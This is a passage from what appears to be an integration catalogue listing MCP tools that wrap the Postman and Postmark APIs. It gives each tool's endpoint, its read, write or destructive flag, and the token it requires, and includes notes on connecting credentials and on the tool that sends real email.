api. postman_patch_collections_by_collectionid_roles (write) — Update a collection's roles via PATCH /collections/{collectionId}/roles PATCH /api/v1/postman/collections/{collectionId}/roles. Scopes: api. postman_patch_components_by_componentid (write) — Update a component via PATCH /components/{componentId} PATCH /api/v1/postman/components/{componentId}. Scopes: api. postman_patch_components_by_componentid_drafts (write) — Update a component draft via PATCH /components/{componentId}/drafts PATCH /api/v1/postman/components/{componentId}/drafts. Scopes: api. postman_patch_environments_by_environmentid (write) — Update an environment via PATCH /environments/{environmentId} PATCH /api/v1/postman/environments/{environmentId}. Scopes: api. postman_patch_packages_by_packageid (write) — Update a package via PATCH /packages/{packageId} PATCH /api/v1/postman/packages/{packageId}. Scopes: api. postman_patch_scim_v2_groups_by_groupid (write) — Update a group via PATCH /scim/v2/Groups/{groupId} PATCH /api/v1/postman/scim/v2/Groups/{groupId}. Scopes: api. postman_patch_specs_by_specid (write) — Update a spec's properties via PATCH /specs/{specId} PATCH /api/v1/postman/specs/{specId}. Scopes: api. postman_patch_specs_by_specid_collections_by_collectionid_sync_options (write) — Update spec sync options via PATCH /specs/{specId}/collections/{collectionId}/sync-options PATCH /api/v1/postman/specs/{specId}/collections/{collectionId}/sync-options. Scopes: api. postman_patch_specs_by_specid_files_by_filepath (write) — Update a spec file via PATCH /specs/{specId}/files/{filePath} PATCH /api/v1/postman/specs/{specId}/files/{filePath}. Scopes: api. postman_patch_workspaces_by_workspaceid_roles (write) — Update workspace roles via PATCH /workspaces/{workspaceId}/roles PATCH /api/v1/postman/workspaces/{workspaceId}/roles. Scopes: api. postman_patch_workspaces_by_workspaceid_transfers (write) — Transfer workspace to a team via PATCH /workspaces/{workspaceId}/transfers PATCH /api/v1/postman/workspaces/{workspaceId}/transfers. Scopes: api. postman_patch_workspaces_by_workspaceid_updates_by_updateid (write) — Update a workspace update via PATCH /workspaces/{workspaceId}/updates/{updateId} PATCH /api/v1/postman/workspaces/{workspaceId}/updates/{updateId}. Scopes: api. postman_post_api_catalog_discovery_services (write) — Add discovered services to the API Catalog via POST /api-catalog/discovery-services POST /api/v1/postman/api-catalog/discovery-services. Scopes: api. postman_post_api_catalog_system_environments (write) — Create a system environment via POST /api-catalog/system-environments POST /api/v1/postman/api-catalog/system-environments. Scopes: api. postman_post_api_catalog_system_environments_by_systemenvironmentid_associations (write) — Add system environment associations via POST /api-catalog/system-environments/{systemEnvironmentId}/associations POST /api/v1/postman/api-catalog/system-environments/{systemEnvironmentId}/associations. Scopes: api. postman_post_apis (write) — Create an API via POST /apis POST /api/v1/postman/apis. Scopes: api. postman_post_apis_by_apiid_collections (write) — Add a collection via POST /apis/{apiId}/collections POST /api/v1/postman/apis/{apiId}/collections. Scopes: api. postman_post_apis_by_apiid_collections_by_collectionid_comments (write) — Create a collection comment via POST /apis/{apiId}/collections/{collectionId}/comments POST /api/v1/postman/apis/{apiId}/collections/{collectionId}/comments. Scopes: api. postman_post_apis_by_apiid_comments (write) — Create an API comment via POST /apis/{apiId}/comments POST /api/v1/postman/apis/{apiId}/comments. Scopes: api. postman_post_apis_by_apiid_schemas (write) — Create a schema via POST /apis/{apiId}/schemas POST /api/v1/postman/apis/{apiId}/schemas. Scopes: api. postman_post_apis_by_apiid_spec_migrations (write) — Migrate API Builder API to Spec Hub via POST /apis/{apiId}/spec-migrations POST /api/v1/postman/apis/{apiId}/spec-migrations. Scopes: api. postman_post_apis_by_apiid_versions (write) — Create a version via POST /apis/{apiId}/versions POST /api/v1/postman/apis/{apiId}/versions. Scopes: api. postman_post_collection_folders_transfers (write) — Transfer folders via POST /collection-folders-transfers POST /api/v1/postman/collection-folders-transfers. Scopes: api. postman_post_collection_requests_transfers (write) — Transfer requests via POST /collection-requests-transfers POST /api/v1/postman/collection-requests-transfers. Scopes: api. postman_post_collection_responses_transfers (write) — Transfer responses via POST /collection-responses-transfers POST /api/v1/postman/collection-responses-transfers. Scopes: api. postman_post_collections (write) — Create a collection via POST /collections POST /api/v1/postman/collections. Scopes: api. postman_post_collections_by_collectionid_comments (write) — Create a collection comment via POST /collections/{collectionId}/comments POST /api/v1/postman/collections/{collectionId}/comments. Scopes: api. postman_post_collections_by_collectionid_duplicates (write) — Duplicate a collection via POST /collections/{collectionId}/duplicates POST /api/v1/postman/collections/{collectionId}/duplicates. Scopes: api. postman_post_collections_by_collectionid_folders (write) — Create a folder via POST /collections/{collectionId}/folders POST /api/v1/postman/collections/{collectionId}/folders. Scopes: api. postman_post_collections_by_collectionid_folders_by_folderid_comments (write) — Create a folder comment via POST /collections/{collectionId}/folders/{folderId}/comments POST /api/v1/postman/collections/{collectionId}/folders/{folderId}/comments. Scopes: api. postman_post_collections_by_collectionid_pull_requests (write) — Create a pull request via POST /collections/{collectionId}/pull-requests POST /api/v1/postman/collections/{collectionId}/pull-requests. Scopes: api. postman_post_collections_by_collectionid_requests (write) — Create a request via POST /collections/{collectionId}/requests POST /api/v1/postman/collections/{collectionId}/requests. Scopes: api. postman_post_collections_by_collectionid_requests_by_requestid_comments (write) — Create a request comment via POST /collections/{collectionId}/requests/{requestId}/comments POST /api/v1/postman/collections/{collectionId}/requests/{requestId}/comments. Scopes: api. postman_post_collections_by_collectionid_responses (write) — Create a response via POST /collections/{collectionId}/responses POST /api/v1/postman/collections/{collectionId}/responses. Scopes: api. postman_post_collections_by_collectionid_responses_by_responseid_comments (write) — Create a response comment via POST /collections/{collectionId}/responses/{responseId}/comments POST /api/v1/postman/collections/{collectionId}/responses/{responseId}/comments. Scopes: api. postman_post_collections_by_collectionuid_generations_by_elementtype (write) — Generate spec from collection via POST /collections/{collectionUid}/generations/{elementType} POST /api/v1/postman/collections/{collectionUid}/generations/{elementType}. Scopes: api. postman_post_collections_fork_by_collectionid (write) — Create a fork via POST /collections/fork/{collectionId} POST /api/v1/postman/collections/fork/{collectionId}. Scopes: api. postman_post_collections_merge (write) — Merge a fork via POST /collections/merge POST /api/v1/postman/collections/merge. Scopes: api. postman_post_comments_resolutions_by_threadid (write) — Resolve a comment thread via POST /comments-resolutions/{threadId} POST /api/v1/postman/comments-resolutions/{threadId}. Scopes: api. postman_post_components (write) — Create a component via POST /components POST /api/v1/postman/components. Scopes: api. postman_post_components_by_componentid_versions (write) — Create a component version via POST /components/{componentId}/versions POST /api/v1/postman/components/{componentId}/versions. Scopes: api. postman_post_detected_secrets_queries (write) — Search detected secrets via POST /detected-secrets-queries POST /api/v1/postman/detected-secrets-queries. Scopes: api. postman_post_environments (write) — Create an environment via POST /environments POST /api/v1/postman/environments. Scopes: api. postman_post_environments_by_environmentid_forks (write) — Create a fork via POST /environments/{environmentId}/forks POST /api/v1/postman/environments/{environmentId}/forks. Scopes: api. postman_post_environments_by_environmentid_merges (write) — Merge a fork via POST /environments/{environmentId}/merges POST /api/v1/postman/environments/{environmentId}/merges. Scopes: api. postman_post_environments_by_environmentuid_pulls (write) — Pull source changes via POST /environments/{environmentUid}/pulls POST /api/v1/postman/environments/{environmentUid}/pulls. Scopes: api. postman_post_import_openapi (write) — Import an OpenAPI definition via POST /import/openapi POST /api/v1/postman/import/openapi. Scopes: api. postman_post_invitations (write) — Manage Partner Workspace invites via POST /invitations POST /api/v1/postman/invitations. Scopes: api. postman_post_mocks (write) — Create a mock server via POST /mocks POST /api/v1/postman/mocks. Scopes: api. postman_post_mocks_by_mockid_publish (write) — Publish a mock server via POST /mocks/{mockId}/publish POST /api/v1/postman/mocks/{mockId}/publish. Scopes: api. postman_post_mocks_by_mockid_server_responses (write) — Create a server response via POST /mocks/{mockId}/server-responses POST /api/v1/postman/mocks/{mockId}/server-responses. Scopes: api. postman_post_monitors (write) — Create a monitor via POST /monitors POST /api/v1/postman/monitors. Scopes: api. postman_post_monitors_by_monitorid_run (write) — Run a monitor via POST /monitors/{monitorId}/run POST /api/v1/postman/monitors/{monitorId}/run. Scopes: api. postman_post_network_private (write) — Add a workspace via POST /network/private POST /api/v1/postman/network/private. Scopes: api. postman_post_packages (write) — Create a package via POST /packages POST /api/v1/postman/packages. Scopes: api. postman_post_postbot_generations_tool (write) — Generate a tool via POST /postbot/generations/tool POST /api/v1/postman/postbot/generations/tool. Scopes: api. postman_post_pull_requests_by_pullrequestid_tasks (write) — Review a pull request via POST /pull-requests/{pullRequestId}/tasks POST /api/v1/postman/pull-requests/{pullRequestId}/tasks. Scopes: api. postman_post_scim_v2_groups (write) — Create a group via POST /scim/v2/Groups POST /api/v1/postman/scim/v2/Groups. Scopes: api. postman_post_scim_v2_users (write) — Create a user via POST /scim/v2/Users POST /api/v1/postman/scim/v2/Users. Scopes: api. postman_post_sdk_git_connections (write) — Connect a Git repository to an SDK via POST /sdk-git-connections POST /api/v1/postman/sdk-git-connections. Scopes: api. postman_post_sdks (write) — Generate an SDK via POST /sdks POST /api/v1/postman/sdks. Scopes: api. postman_post_search (write) — Search Postman resources via POST /search POST /api/v1/postman/search. Scopes: api. postman_post_security_api_validation (write) — API definition security validation via POST /security/api-validation POST /api/v1/postman/security/api-validation. Scopes: api. postman_post_service_account_tokens (write) — Generate a Service Account Token via POST /service-account-tokens POST /api/v1/postman/service-account-tokens. Scopes: api. postman_post_specs (write) — Create a spec via POST /specs POST /api/v1/postman/specs. Scopes: api. postman_post_specs_by_specid_files (write) — Create a spec file via POST /specs/{specId}/files POST /api/v1/postman/specs/{specId}/files. Scopes: api. postman_post_specs_by_specid_generations_by_elementtype (write) — Generate a collection from spec via POST /specs/{specId}/generations/{elementType} POST /api/v1/postman/specs/{specId}/generations/{elementType}. Scopes: api. postman_post_specs_by_specid_version_tags (write) — Create a version tag via POST /specs/{specId}/version-tags POST /api/v1/postman/specs/{specId}/version-tags. Scopes: api. postman_post_teams (write) — Create a team via POST /teams POST /api/v1/postman/teams. Scopes: api. postman_post_teams_by_teamid_access_requests (write) — Create an access request via POST /teams/{teamId}/access-requests POST /api/v1/postman/teams/{teamId}/access-requests. Scopes: api. postman_post_teams_by_teamid_access_requests_by_requestid (write) — Approve or deny an access request via POST /teams/{teamId}/access-requests/{requestId} POST /api/v1/postman/teams/{teamId}/access-requests/{requestId}. Scopes: api. postman_post_teams_by_teamid_bulk_members (write) — Manage team member roles via POST /teams/{teamId}/bulk-members POST /api/v1/postman/teams/{teamId}/bulk-members. Scopes: api. postman_post_webhooks (write) — Create a webhook via POST /webhooks POST /api/v1/postman/webhooks. Scopes: api. postman_post_workspaces (write) — Create a workspace via POST /workspaces POST /api/v1/postman/workspaces. Scopes: api. postman_post_workspaces_by_workspaceid_element_transfers (write) — Transfer element to a workspace via POST /workspaces/{workspaceId}/element-transfers POST /api/v1/postman/workspaces/{workspaceId}/element-transfers. Scopes: api. postman_post_workspaces_by_workspaceid_updates (write) — Create a workspace update via POST /workspaces/{workspaceId}/updates POST /api/v1/postman/workspaces/{workspaceId}/updates. Scopes: api. postman_put_apis_by_apiid (write) — Update an API via PUT /apis/{apiId} PUT /api/v1/postman/apis/{apiId}. Scopes: api. postman_put_apis_by_apiid_collections_by_collectionid_comments_by_commentid (write) — Update a collection's comment via PUT /apis/{apiId}/collections/{collectionId}/comments/{commentId} PUT /api/v1/postman/apis/{apiId}/collections/{collectionId}/comments/{commentId}. Scopes: api. postman_put_apis_by_apiid_collections_by_collectionid_sync_with_schema_tasks (write) — Sync collection with schema via PUT /apis/{apiId}/collections/{collectionId}/sync-with-schema-tasks PUT /api/v1/postman/apis/{apiId}/collections/{collectionId}/sync-with-schema-tasks. Scopes: api. postman_put_apis_by_apiid_comments_by_commentid (write) — Update an API's comment via PUT /apis/{apiId}/comments/{commentId} PUT /api/v1/postman/apis/{apiId}/comments/{commentId}. Scopes: api. postman_put_apis_by_apiid_schemas_by_schemaid_files_by_file_path (write) — Create or update a schema file via PUT /apis/{apiId}/schemas/{schemaId}/files/{file-path} PUT /api/v1/postman/apis/{apiId}/schemas/{schemaId}/files/{file_path}. Scopes: api. postman_put_apis_by_apiid_tags (write) — Update an API's tags via PUT /apis/{apiId}/tags PUT /api/v1/postman/apis/{apiId}/tags. Scopes: api. postman_put_apis_by_apiid_versions_by_versionid (write) — Update a version via PUT /apis/{apiId}/versions/{versionId} PUT /api/v1/postman/apis/{apiId}/versions/{versionId}. Scopes: api. postman_put_collection_merges (write) — Merge or pull changes into a collection fork via PUT /collection-merges PUT /api/v1/postman/collection-merges. Scopes: api. postman_put_collections_by_collectionid (write) — Replace a collection's data via PUT /collections/{collectionId} PUT /api/v1/postman/collections/{collectionId}. Scopes: api. postman_put_collections_by_collectionid_comments_by_commentid (write) — Update a collection's comment via PUT /collections/{collectionId}/comments/{commentId} PUT /api/v1/postman/collections/{collectionId}/comments/{commentId}. Scopes: api. postman_put_collections_by_collectionid_folders_by_folderid (write) — Update a folder via PUT /collections/{collectionId}/folders/{folderId} PUT /api/v1/postman/collections/{collectionId}/folders/{folderId}. Scopes: api. postman_put_collections_by_collectionid_folders_by_folderid_comments_by_commentid (write) — Update a folder's comment via PUT /collections/{collectionId}/folders/{folderId}/comments/{commentId} PUT /api/v1/postman/collections/{collectionId}/folders/{folderId}/comments/{commentId}. Scopes: api. postman_put_collections_by_collectionid_public_documentations (write) — Publish documentation via PUT /collections/{collectionId}/public-documentations PUT /api/v1/postman/collections/{collectionId}/public-documentations. Scopes: api. postman_put_collections_by_collectionid_pulls (write) — Pull source changes via PUT /collections/{collectionId}/pulls PUT /api/v1/postman/collections/{collectionId}/pulls. Scopes: api. postman_put_collections_by_collectionid_requests_by_requestid (write) — Update a request via PUT /collections/{collectionId}/requests/{requestId} PUT /api/v1/postman/collections/{collectionId}/requests/{requestId}. Scopes: api. postman_put_collections_by_collectionid_requests_by_requestid_comments_by_commentid (write) — Update a request's comment via PUT /collections/{collectionId}/requests/{requestId}/comments/{commentId} PUT /api/v1/postman/collections/{collectionId}/requests/{requestId}/comments/{commentId}. Scopes: api. postman_put_collections_by_collectionid_responses_by_responseid (write) — Update a response via PUT /collections/{collectionId}/responses/{responseId} PUT /api/v1/postman/collections/{collectionId}/responses/{responseId}. Scopes: api. postman_put_collections_by_collectionid_responses_by_responseid_comments_by_commentid (write) — Update a response's comment via PUT /collections/{collectionId}/responses/{responseId}/comments/{commentId} PUT /api/v1/postman/collections/{collectionId}/responses/{responseId}/comments/{commentId}. Scopes: api. postman_put_collections_by_collectionid_tags (write) — Update a collection's tags via PUT /collections/{collectionId}/tags PUT /api/v1/postman/collections/{collectionId}/tags. Scopes: api. postman_put_collections_by_collectionuid_synchronizations (write) — Sync collection with spec via PUT /collections/{collectionUid}/synchronizations PUT /api/v1/postman/collections/{collectionUid}/synchronizations. Scopes: api. postman_put_detected_secrets_by_secretid (write) — Update detected secret resolution status via PUT /detected-secrets/{secretId} PUT /api/v1/postman/detected-secrets/{secretId}. Scopes: api. postman_put_environments_by_environmentid (write) — Replace an environment's data via PUT /environments/{environmentId} PUT /api/v1/postman/environments/{environmentId}. Scopes: api. postman_put_mocks_by_mockid (write) — Update a mock server via PUT /mocks/{mockId} PUT /api/v1/postman/mocks/{mockId}. Scopes: api. postman_put_mocks_by_mockid_server_responses_by_serverresponseid (write) — Update a server response via PUT /mocks/{mockId}/server-responses/{serverResponseId} PUT /api/v1/postman/mocks/{mockId}/server-responses/{serverResponseId}. Scopes: api. postman_put_monitors_by_monitorid (write) — Update a monitor via PUT /monitors/{monitorId} PUT /api/v1/postman/monitors/{monitorId}. Scopes: api. postman_put_network_private_network_entity_request_by_requestid (write) — Respond to an add request via PUT /network/private/network-entity/request/{requestId} PUT /api/v1/postman/network/private/network-entity/request/{requestId}. Scopes: api. postman_put_network_private_workspace_by_workspaceid (write) — Update an element or folder via PUT /network/private/workspace/{workspaceId} PUT /api/v1/postman/network/private/workspace/{workspaceId}. Scopes: api. postman_put_pull_requests_by_pullrequestid (write) — Update a pull request via PUT /pull-requests/{pullRequestId} PUT /api/v1/postman/pull-requests/{pullRequestId}. Scopes: api. postman_put_scim_v2_users_by_userid (write) — Update a user via PUT /scim/v2/Users/{userId} PUT /api/v1/postman/scim/v2/Users/{userId}. Scopes: api. postman_put_sdk_git_connections_by_sdkgitconnectionid (write) — Update an SDK Git connection via PUT /sdk-git-connections/{sdkGitConnectionId} PUT /api/v1/postman/sdk-git-connections/{sdkGitConnectionId}. Scopes: api. postman_put_specs_by_specid_synchronizations (write) — Sync spec with collection via PUT /specs/{specId}/synchronizations PUT /api/v1/postman/specs/{specId}/synchronizations. Scopes: api. postman_put_teams_by_teamid_settings (write) — Update team settings via PUT /teams/{teamId}/settings PUT /api/v1/postman/teams/{teamId}/settings. Scopes: api. postman_put_workspaces_by_workspaceid (write) — Update a workspace via PUT /workspaces/{workspaceId} PUT /api/v1/postman/workspaces/{workspaceId}. Scopes: api. postman_put_workspaces_by_workspaceid_global_variables (write) — Update global variables via PUT /workspaces/{workspaceId}/global-variables PUT /api/v1/postman/workspaces/{workspaceId}/global-variables. Scopes: api. postman_put_workspaces_by_workspaceid_tags (write) — Update a workspace's tags via PUT /workspaces/{workspaceId}/tags PUT /api/v1/postman/workspaces/{workspaceId}/tags. Scopes: api. ================================================================================ ## Postmark URL: https://www.agenticfabriq.com/integrations/postmark Section: Integrated Tools Postmark — 86 MCP tools Provider key: postmark. Scopes: api. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. postmark_delete_domains_by_domainid (write, destructive) — Delete a Domain via DELETE /domains/{domainid}. Needs the Postmark ACCOUNT API token (Account > API Tokens; only the Account Owner and Account Admins can see it) DELETE /api/v1/postmark/domains/{domainid}. Scopes: api. postmark_delete_senders_by_signatureid (write, destructive) — Delete a Sender Signature via DELETE /senders/{signatureid}. Needs the Postmark ACCOUNT API token (Account > API Tokens; only the Account Owner and Account Admins can see it) DELETE /api/v1/postmark/senders/{signatureid}. Scopes: api. postmark_delete_servers_by_serverid (write, destructive) — Delete a Server via DELETE /servers/{serverid}. Needs the Postmark ACCOUNT API token (Account > API Tokens; only the Account Owner and Account Admins can see it) DELETE /api/v1/postmark/servers/{serverid}. Scopes: api. postmark_delete_templates_by_templateidoralias (write, destructive) — Delete a Template via DELETE /templates/{templateIdOrAlias}. Needs the Postmark SERVER API token (a server's own API Tokens tab) DELETE /api/v1/postmark/templates/{templateIdOrAlias}. Scopes: api. postmark_delete_triggers_inboundrules_by_triggerid (write, destructive) — Delete a single trigger via DELETE /triggers/inboundrules/{triggerid}. Needs the Postmark SERVER API token (a server's own API Tokens tab) DELETE /api/v1/postmark/triggers/inboundrules/{triggerid}. Scopes: api. postmark_delete_webhooks_by_id (write, destructive) — Delete webhook via DELETE /webhooks/{Id}. Needs the Postmark SERVER API token (a server's own API Tokens tab) DELETE /api/v1/postmark/webhooks/{Id}. Scopes: api. postmark_get_bounces (read) — Get bounces via GET /bounces. Needs the Postmark SERVER API token (a server's own API Tokens tab) GET /api/v1/postmark/bounces. Scopes: api. postmark_get_bounces_by_bounceid (read) — Get a single bounce via GET /bounces/{bounceid}. Needs the Postmark SERVER API token (a server's own API Tokens tab) GET /api/v1/postmark/bounces/{bounceid}. Scopes: api. postmark_get_bounces_by_bounceid_dump (read) — Get bounce dump via GET /bounces/{bounceid}/dump. Needs the Postmark SERVER API token (a server's own API Tokens tab) GET /api/v1/postmark/bounces/{bounceid}/dump. Scopes: api. postmark_get_data_removals_by_id (read) — Check data removal request status via GET /data-removals/{id}. Needs the Postmark ACCOUNT API token (Account > API Tokens; only the Account Owner and Account Admins can see it) GET /api/v1/postmark/data-removals/{id}. Scopes: api. postmark_get_deliverystats (read) — Get delivery stats via GET /deliverystats. Needs the Postmark SERVER API token (a server's own API Tokens tab) GET /api/v1/postmark/deliverystats. Scopes: api. postmark_get_domains (read) — List Domains via GET /domains. Needs the Postmark ACCOUNT API token (Account > API Tokens; only the Account Owner and Account Admins can see it) GET /api/v1/postmark/domains. Scopes: api. postmark_get_domains_by_domainid (read) — Get a Domain via GET /domains/{domainid}. Needs the Postmark ACCOUNT API token (Account > API Tokens; only the Account Owner and Account Admins can see it) GET /api/v1/postmark/domains/{domainid}. Scopes: api. postmark_get_email_bulk (read) — List bulk email requests via GET /email/bulk. Needs the Postmark SERVER API token (a server's own API Tokens tab). The Bulk Email API is available to all Postmark customers but needs per-account approval: until it is enabled, this answers 422 ErrorCode 14 "This endpoint requires approval to access." Contact Postmark support to turn it on. A bulk request also belongs to the server that submitted it, so asking about one with a different server's token answers 404 ErrorCode 12 -- the same answer as a nonexistent id. GET /api/v1/postmark/email/bulk. Scopes: api. postmark_get_email_bulk_by_bulk_request_id (read) — Get the status of a bulk email request via GET /email/bulk/{bulk_request_id}. Needs the Postmark SERVER API token (a server's own API Tokens tab). The Bulk Email API is available to all Postmark customers but needs per-account approval: until it is enabled, this answers 422 ErrorCode 14 "This endpoint requires approval to access." Contact Postmark support to turn it on. A bulk request also belongs to the server that submitted it, so asking about one with a different server's token answers 404 ErrorCode 12 -- the same answer as a nonexistent id. GET /api/v1/postmark/email/bulk/{bulk_request_id}. Scopes: api. postmark_get_message_streams (read) — List message streams via GET /message-streams. Needs the Postmark SERVER API token (a server's own API Tokens tab) GET /api/v1/postmark/message-streams. Scopes: api. postmark_get_message_streams_by_stream_id (read) — Get a message stream via GET /message-streams/{stream_ID}. Needs the Postmark SERVER API token (a server's own API Tokens tab) GET /api/v1/postmark/message-streams/{stream_ID}. Scopes: api. postmark_get_message_streams_by_stream_id_suppressions_dump (read) — List suppressions on a message stream via GET /message-streams/{stream_ID}/suppressions/dump. Needs the Postmark SERVER API token (a server's own API Tokens tab) GET /api/v1/postmark/message-streams/{stream_ID}/suppressions/dump. Scopes: api. postmark_get_messages_inbound (read) — Inbound message search via GET /messages/inbound. Needs the Postmark SERVER API token (a server's own API Tokens tab) GET /api/v1/postmark/messages/inbound. Scopes: api. postmark_get_messages_inbound_by_messageid_details (read) — Inbound message details via GET /messages/inbound/{messageid}/details. Needs the Postmark SERVER API token (a server's own API Tokens tab) GET /api/v1/postmark/messages/inbound/{messageid}/details. Scopes: api. postmark_get_messages_outbound (read) — Outbound message search via GET /messages/outbound. Needs the Postmark SERVER API token (a server's own API Tokens tab) GET /api/v1/postmark/messages/outbound. Scopes: api. postmark_get_messages_outbound_by_messageid_details (read) — Outbound message details via GET /messages/outbound/{messageid}/details. Needs the Postmark SERVER API token (a server's own API Tokens tab) GET /api/v1/postmark/messages/outbound/{messageid}/details. Scopes: api. postmark_get_messages_outbound_by_messageid_dump (read) — Outbound message dump via GET /messages/outbound/{messageid}/dump. Needs the Postmark SERVER API token (a server's own API Tokens tab) GET /api/v1/postmark/messages/outbound/{messageid}/dump. Scopes: api. postmark_get_messages_outbound_clicks (read) — Clicks for a all messages via GET /messages/outbound/clicks. Needs the Postmark SERVER API token (a server's own API Tokens tab) GET /api/v1/postmark/messages/outbound/clicks. Scopes: api. postmark_get_messages_outbound_clicks_by_messageid (read) — Retrieve Message Clicks via GET /messages/outbound/clicks/{messageid}. Needs the Postmark SERVER API token (a server's own API Tokens tab) GET /api/v1/postmark/messages/outbound/clicks/{messageid}. Scopes: api. postmark_get_messages_outbound_opens (read) — Opens for all messages via GET /messages/outbound/opens. Needs the Postmark SERVER API token (a server's own API Tokens tab) GET /api/v1/postmark/messages/outbound/opens. Scopes: api. postmark_get_messages_outbound_opens_by_messageid (read) — Retrieve Message Opens via GET /messages/outbound/opens/{messageid}. Needs the Postmark SERVER API token (a server's own API Tokens tab) GET /api/v1/postmark/messages/outbound/opens/{messageid}. Scopes: api. postmark_get_senders (read) — List Sender Signatures via GET /senders. Needs the Postmark ACCOUNT API token (Account > API Tokens; only the Account Owner and Account Admins can see it) GET /api/v1/postmark/senders. Scopes: api. postmark_get_senders_by_signatureid (read) — Get a Sender Signature via GET /senders/{signatureid}. Needs the Postmark ACCOUNT API token (Account > API Tokens; only the Account Owner and Account Admins can see it) GET /api/v1/postmark/senders/{signatureid}. Scopes: api. postmark_get_server (read) — Get Server Configuration via GET /server. Needs the Postmark SERVER API token (a server's own API Tokens tab) GET /api/v1/postmark/server. Scopes: api. postmark_get_servers (read) — List servers via GET /servers. Needs the Postmark ACCOUNT API token (Account > API Tokens; only the Account Owner and Account Admins can see it) GET /api/v1/postmark/servers. Scopes: api. postmark_get_servers_by_serverid (read) — Get a Server via GET /servers/{serverid}. Needs the Postmark ACCOUNT API token (Account > API Tokens; only the Account Owner and Account Admins can see it) GET /api/v1/postmark/servers/{serverid}. Scopes: api. postmark_get_stats_outbound (read) — Get outbound overview via GET /stats/outbound. Needs the Postmark SERVER API token (a server's own API Tokens tab) GET /api/v1/postmark/stats/outbound. Scopes: api. postmark_get_stats_outbound_bounces (read) — Get bounce counts via GET /stats/outbound/bounces. Needs the Postmark SERVER API token (a server's own API Tokens tab) GET /api/v1/postmark/stats/outbound/bounces. Scopes: api. postmark_get_stats_outbound_clicks (read) — Get click counts via GET /stats/outbound/clicks. Needs the Postmark SERVER API token (a server's own API Tokens tab) GET /api/v1/postmark/stats/outbound/clicks. Scopes: api. postmark_get_stats_outbound_clicks_browserfamilies (read) — Get browser usage by family via GET /stats/outbound/clicks/browserfamilies. Needs the Postmark SERVER API token (a server's own API Tokens tab) GET /api/v1/postmark/stats/outbound/clicks/browserfamilies. Scopes: api. postmark_get_stats_outbound_clicks_location (read) — Get clicks by body location via GET /stats/outbound/clicks/location. Needs the Postmark SERVER API token (a server's own API Tokens tab) GET /api/v1/postmark/stats/outbound/clicks/location. Scopes: api. postmark_get_stats_outbound_clicks_platforms (read) — Get browser plaform usage via GET /stats/outbound/clicks/platforms. Needs the Postmark SERVER API token (a server's own API Tokens tab) GET /api/v1/postmark/stats/outbound/clicks/platforms. Scopes: api. postmark_get_stats_outbound_opens (read) — Get email open counts via GET /stats/outbound/opens. Needs the Postmark SERVER API token (a server's own API Tokens tab) GET /api/v1/postmark/stats/outbound/opens. Scopes: api. postmark_get_stats_outbound_opens_emailclients (read) — Get email client usage via GET /stats/outbound/opens/emailclients. Needs the Postmark SERVER API token (a server's own API Tokens tab) GET /api/v1/postmark/stats/outbound/opens/emailclients. Scopes: api. postmark_get_stats_outbound_opens_platforms (read) — Get email platform usage via GET /stats/outbound/opens/platforms. Needs the Postmark SERVER API token (a server's own API Tokens tab) GET /api/v1/postmark/stats/outbound/opens/platforms. Scopes: api. postmark_get_stats_outbound_sends (read) — Get sent counts via GET /stats/outbound/sends. Needs the Postmark SERVER API token (a server's own API Tokens tab) GET /api/v1/postmark/stats/outbound/sends. Scopes: api. postmark_get_stats_outbound_spam (read) — Get spam complaints via GET /stats/outbound/spam. Needs the Postmark SERVER API token (a server's own API Tokens tab) GET /api/v1/postmark/stats/outbound/spam. Scopes: api. postmark_get_stats_outbound_tracked (read) — Get tracked email counts via GET /stats/outbound/tracked. Needs the Postmark SERVER API token (a server's own API Tokens tab) GET /api/v1/postmark/stats/outbound/tracked. Scopes: api. postmark_get_templates (read) — Get the Templates associated with this Server via GET /templates. Needs the Postmark SERVER API token (a server's own API Tokens tab) GET /api/v1/postmark/templates. Scopes: api. postmark_get_templates_by_templateidoralias (read) — Get a Template via GET /templates/{templateIdOrAlias}. Needs the Postmark SERVER API token (a server's own API Tokens tab) GET /api/v1/postmark/templates/{templateIdOrAlias}. Scopes: api. postmark_get_triggers_inboundrules (read) — List inbound rule triggers via GET /triggers/inboundrules. Needs the Postmark SERVER API token (a server's own API Tokens tab) GET /api/v1/postmark/triggers/inboundrules. Scopes: api. postmark_get_webhooks (read) — List webhooks via GET /webhooks. Needs the Postmark SERVER API token (a server's own API Tokens tab) GET /api/v1/postmark/webhooks. Scopes: api. postmark_get_webhooks_by_id (read) — Get webhook via GET /webhooks/{Id}. Needs the Postmark SERVER API token (a server's own API Tokens tab) GET /api/v1/postmark/webhooks/{Id}. Scopes: api. postmark_get_webhooks_by_id_statistics (read) — Get webhook statistics via GET /webhooks/{Id}/statistics. Needs the Postmark SERVER API token (a server's own API Tokens tab) GET /api/v1/postmark/webhooks/{Id}/statistics. Scopes: api. postmark_patch_message_streams_by_stream_id (write) — Edit a message stream via PATCH /message-streams/{stream_ID}. Needs the Postmark SERVER API token (a server's own API Tokens tab) PATCH /api/v1/postmark/message-streams/{stream_ID}. Scopes: api. postmark_post_data_removals (write, destructive) — Create data removal request via POST /data-removals. Needs the Postmark ACCOUNT API token (Account > API Tokens; only the Account Owner and Account Admins can see it) POST /api/v1/postmark/data-removals. Scopes: api. postmark_post_domains (write) — Create a Domain via POST /domains. Needs the Postmark ACCOUNT API token (Account > API Tokens; only the Account Owner and Account Admins can see it) POST /api/v1/postmark/domains. Scopes: api. postmark_post_domains_by_domainid_rotatedkim (write) — Rotate DKIM Key via POST /domains/{domainid}/rotatedkim. Needs the Postmark ACCOUNT API token (Account > API Tokens; only the Account Owner and Account Admins can see it) POST /api/v1/postmark/domains/{domainid}/rotatedkim. Scopes: api. postmark_post_domains_by_domainid_verifyspf (write) — Request DNS Verification for SPF (domains) via POST /domains/{domainid}/verifyspf. Needs the Postmark ACCOUNT API token (Account > API Tokens; only the Account Owner and Account Admins can see it) POST /api/v1/postmark/domains/{domainid}/verifyspf. Scopes: api. postmark_post_email (write) — Send a single email via POST /email. Needs the Postmark SERVER API token (a server's own API Tokens tab). SENDS REAL EMAIL to real mailboxes and counts against the account's monthly quota (the free tier is 100 messages/month), and Postmark applies a real compliance review to sending accounts. To exercise this safely, point the connection at a SANDBOX server -- messages are accepted and recorded but never delivered -- and note that a sandboxed 